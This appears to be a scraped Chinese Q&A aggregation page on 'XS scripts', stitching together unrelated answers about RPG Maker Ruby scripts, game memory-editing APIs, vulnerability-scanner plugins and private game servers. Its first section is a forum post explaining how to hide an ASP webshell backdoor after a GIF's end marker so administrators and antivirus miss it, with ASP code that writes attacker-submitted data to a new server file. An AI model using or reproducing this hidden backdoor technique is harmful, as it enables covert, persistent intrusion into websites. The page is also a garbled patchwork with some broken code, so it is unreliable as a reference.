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xs腳本下載

發布時間: 2022-04-02 21:46:48

Ⅰ 圖片內加入腳本

現在從注入拿WEBSHELL看來成功率都比較高了。拿到SHELL後,安裝自己的腳本後門,常常被查殺。 腳本後門的發展史:
1。最開始就是直接放一個ASP文件上去。
2。把ASP文件加密才放上去。
3。把腳本插入到代碼中去。(我經常用這種) 不過一樣被查得出來,我前段時候手工檢測一個站的腳本安全。發現這個站被種了21個木馬。所以我就想到了,怎麼樣才能不被發現不能被查殺。 最後我研究了一下如果把腳本插入到圖片中。然後在ASP中調用圖片中的腳本程序應該就可以了。 測試的時候通過了。現在我把我的心德寫一下。讓大家來分析一下。共同進步和完善這種方法。 在研究過程中我看了GIF圖片的結構文檔方面的書。 GIF圖片都是以 00 3B 為結束的。換句話說00 3B 後面的不會顯示出來。所以我們在00 3B後面插入代碼就行了。當然代碼我們加密放到圖片中去效果更好。我寫了一個程序來這么做。 這里要說一下,在圖片中00 3B後面的是不會顯示出來的。 但其中的代碼已經運行了。圖片也會正常顯示出來。 測試:
在圖片後面加入:<%=now%>
然後在一個ASP文件中加入:<!--#include file="aaa.gif" --> 然後你們下載這個圖片,發現圖片最後面變成了時間。很正常因為圖片放到了ASP腳本中運行了其中的代碼。 換句話來說,如果寫的是一段生成文件的腳本。那麼我們提交特定的參數讓圖片中的代碼去生成文件。這樣就實現了我們的後門。 1:這種方法要做的工作就是在目標站點中找一張GIF圖片然後把代碼插入到圖片中,再上傳到站點中去。這樣作管理員很難找到木馬在哪裡。打死也想不到木馬在圖片中。 2:我們插入的代碼只有一行就是那個include file .....
找個文件大點的ASP文件給插進去就行了。 然後我們在本地POST數據提交給ASP引用圖片的URL這樣就完成了工作。 我的插入圖片的腳本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 這段代碼主要就是在當前目錄下生成一個ok.asp文件。
文件內容是由我們提交的數據.用request("cyfddata")來獲取的。 這段代碼加密後插入到圖片中去。下面我把我程序的代碼貼出來。 本地自己構建一個提交表單向ASP文件提交(加入圖片那個文件) 表單文本框輸入內容名稱是:cyfddata 後感:
我本人認為這種方法,管理員很難查到。這是我兩天前想到的作出來了,可能有些問題希望和大家一起討論,必競,為了追求技術就得研究技術。
共享知識,從而升華。
感覺去研究一些新東西,人活得更XS些。

Ⅱ 求個天龍八部情緣腳本給個下載地址

鏈接:

提取碼:0cr8

游戲講述元佑元年,大宋遭受遼國入侵的故事,玩家可扮演峨眉、丐幫、天山、逍遙、天龍等門派,與喬峰等主人公一起,去奮勇殺敵、抵禦遼兵的入侵。

Ⅲ QQ三國XS

哪個給你亂說的?你就去看三國名人榜,XS經驗最高,JS經驗第二,HJ經驗第三,YY經驗最後.還有,這個比較升級的快慢不是看經驗的多少,而是看升級的方法.望採納,純手機打,不可能復制.

Ⅳ 求rpg製作大師vx的各種實用腳本!急!

#==============================================================================
# ■ 地圖名顯示腳本
# by Yuee
#------------------------------------------------------------------------------
# 在Main的上方插入一個頁,將本腳本復制到那頁中即可
#==============================================================================
#==============================================================================
# ■ Window_MapName
#------------------------------------------------------------------------------
# 顯示地圖名字的窗口。
#==============================================================================
class Window_MapName < Window_Base
#--------------------------------------------------------------------------
# ● 類常量定義
#--------------------------------------------------------------------------
# 暫時屏蔽用的開關
SWITCH = 35

# 窗口位置設定
NAME_X = 380 # 矩形左上頂點X坐標
NAME_Y = 20 # 矩形左上頂點Y坐標
NAME_W = 220 # 矩形寬
NAME_H = 60 # 矩形高

# 顯示時間設置
SHOW_TIME_0 = 10 # 地圖名出現前等待的幀數
SHOW_TIME_1 = 10 # 地圖名從不可見變成可見的幀數
SHOW_TIME_2 = 34 # 地圖名完全可見的幀數
SHOW_TIME_3 = 16 # 地圖名從可見變成不可見的幀數

# 完全可見時的透明度設置
OPACITY_1 = 244 # 邊框
OPACITY_2 = 144 # 背景
OPACITY_3 = 255 # 文字

# 地圖名字的顏色
TEXT_COLOR = Color.new(255, 255, 255, 255)

#--------------------------------------------------------------------------
# ● 初始化狀態
#--------------------------------------------------------------------------
def initialize
super(NAME_X , NAME_Y, NAME_W, NAME_H)
# 初始化窗口透明度
self.opacity = 0
self.back_opacity = 0
self.contents_opacity = 0
self.contents = Bitmap.new(width - 32, height - 32)
# 剩餘幀數初始化
@show_time = 0
end
#--------------------------------------------------------------------------
# ● 輸出文字
#--------------------------------------------------------------------------
def setname
unless $game_switches[SWITCH]==true
# 獲取地圖ID
newid = $game_map.map_id
time = SHOW_TIME_1 + SHOW_TIME_2 + SHOW_TIME_3
# 如果現在的地圖的ID不是剛才顯示的地圖ID則開始顯示
if newid != @id
@id = newid
@show_time = SHOW_TIME_0 + SHOW_TIME_1 + SHOW_TIME_2 + SHOW_TIME_3
# 剩餘幀數為0是時,全部窗口透明
elsif @show_time < 1
self.opacity = 0
self.back_opacity = 0
self.contents_opacity = 0
return
end
self.contents.clear
self.contents.font.color = TEXT_COLOR
# 描繪地圖名
self.contents.draw_text(4, 0 , width - 40, 32, $data_mapinfos[@id].name, 1)
# 根本幀數設定窗口透明度
if @show_time > (SHOW_TIME_2 + SHOW_TIME_3)
self.opacity = @show_time < time ? (((OPACITY_1 / SHOW_TIME_1) * (time - @show_time)).to_i) : 0
self.back_opacity = @show_time < time ? (((OPACITY_2 / SHOW_TIME_1 )* (time - @show_time)).to_i) : 0
self.contents_opacity = @show_time < time ? (((OPACITY_3 / SHOW_TIME_1) * (time - @show_time)).to_i) : 0
else
self.opacity = @show_time < (SHOW_TIME_3 / 16 * 14) ? ((OPACITY_1 / SHOW_TIME_3) * @show_time).to_i : OPACITY_1
self.back_opacity = @show_time < (SHOW_TIME_3 / 16 * 9) ? ((OPACITY_2 / SHOW_TIME_3) * @show_time).to_i : OPACITY_2
self.contents_opacity = @show_time < SHOW_TIME_3 ? ((OPACITY_3 / SHOW_TIME_3)* @show_time).to_i : OPACITY_3
end
@show_time -= 1
end
end
end
#==============================================================================
# ■ Scene_Map
#------------------------------------------------------------------------------
# 處理地圖畫面的類。(追加定義)
#==============================================================================
class Scene_Map
alias smn_main main
def main
@mapname = Window_MapName.new
smn_main
@mapname.dispose
end

alias smn_update update
def update
@mapname.setname
smn_update
end
end
#==============================================================================
# ■ Scene_Title
#------------------------------------------------------------------------------
# 處理標題畫面的類。(追加定義)
#==============================================================================
class Scene_Title
alias smn_main main
def main
# 讀取地圖信息文件
$data_mapinfos = load_data("Data/MapInfos.rxdata")
smn_main
end
end

#==============================================================================
# 本腳本來自www.66RPG.com,使用和轉載請保留此信息
#==============================================================================

# ▼▲▼ XRXS25. ダッシュ機能 ver.2 ▼▲▼
# by 桜雅 在土 (基本、再改訂)
# Tetra-Z (改訂原案)

#==============================================================================
# □ カスタマイズポイント
#==============================================================================
mole XRXS_Dash
#
# 按下加速鍵之後的速度増加量
#
PLUSPEED = 1
#
# 行走加速的按鍵
#
BUTTON = Input::C
end
#==============================================================================
# ■ Game_Player
#==============================================================================
class Game_Player < Game_Character
#--------------------------------------------------------------------------
# ● フレーム更新
#--------------------------------------------------------------------------
alias xrxs25_update update
def update
# 例外補正
if @move_speed_arcadia == nil
@move_speed_arcadia = @move_speed
end
# 移動中、イベント実行中、移動ルート強制中、
# メッセージウィンドウ表示中、
# ダッシュボタン挿下中、のいずれでもない場合
unless moving? or $game_system.map_interpreter.running? or
@move_route_forcing or $game_temp.message_window_showing
# 速度の変更
if Input.press?(XRXS_Dash::BUTTON)
@move_speed = @move_speed_arcadia + XRXS_Dash::PLUSPEED
else
@move_speed = @move_speed_arcadia
end
end
# 呼び戻す
xrxs25_update
end
#--------------------------------------------------------------------------
# ○ 移動タイプ : カスタム [オーバーライド]
#--------------------------------------------------------------------------
def move_type_custom
# 例外補正
if @move_speed_arcadia == nil
@move_speed_arcadia = @move_speed
end
# 標准速度に戻す
@move_speed = @move_speed_arcadia
# 呼び戻す
super
# 速度の保存
@move_speed_arcadia = @move_speed
end
end

#==============================================================================
# 本腳本來自www.66RPG.com,使用和轉載請保留此信息
#==============================================================================

第一個是出現地圖名腳本,第二個是空格加速腳本,直接復制就行

Ⅳ 守衛劍閣外傳-五虎將後傳3.04神xs神器版

自己去UUU9。com下載吧,版本自己找一下,那裡面的沒毒!別人傳給你可能帶毒的。。。樓主注意了,,,還是自己去下個哈,

Ⅵ XS腳本怎麼讀寫內存求個列子

app.memoryRead(pkgName,address,dataType)
app.memorySearch(pkgName,isNewSearch,address,tb,dataType,searchValueMax)
app.memorySearchModeSet(n)
app.memoryWrite(pkgName,address,value,dataType)

Ⅶ 使用nessus的漏洞庫如何給x-scan添加腳本nasl腳本直接放入x-scan的腳本文件夾是不能使用的。

一般Xscan加腳本的話直接放入就可以了,出現這種狀況可能是腳本對Xscan的版本有要求。
查看一下nessus的漏洞庫下載的原網頁,看看使用的是哪個版本的Xscan。如果沒有,使用最新版本可能會好一些。

Ⅷ 蘋果xsmax虛擬home鍵

第1步

1.首先打開設置找到通用 然後再找到輔助功能

Ⅸ RPG MAKER XP 腳本與素材

我發給你了
加滿血找到Window_BattleStatus42行在if中間加一句 actor.hp *= 100
就好了

Ⅹ 傳奇私服 激情泡點腳本

傳奇私服 激情泡點腳本
回答樓主上面的提問:

推薦樓主去用神武輔助免費版,神武它支持:金盾,無雙,統一,獵鷹,3KM2,76金幣等登錄器!

樓主可以去網路搜下神武輔助坤哥,態度很OK。掛也調的好。可以讓他把神武輔助免費版傳給你。

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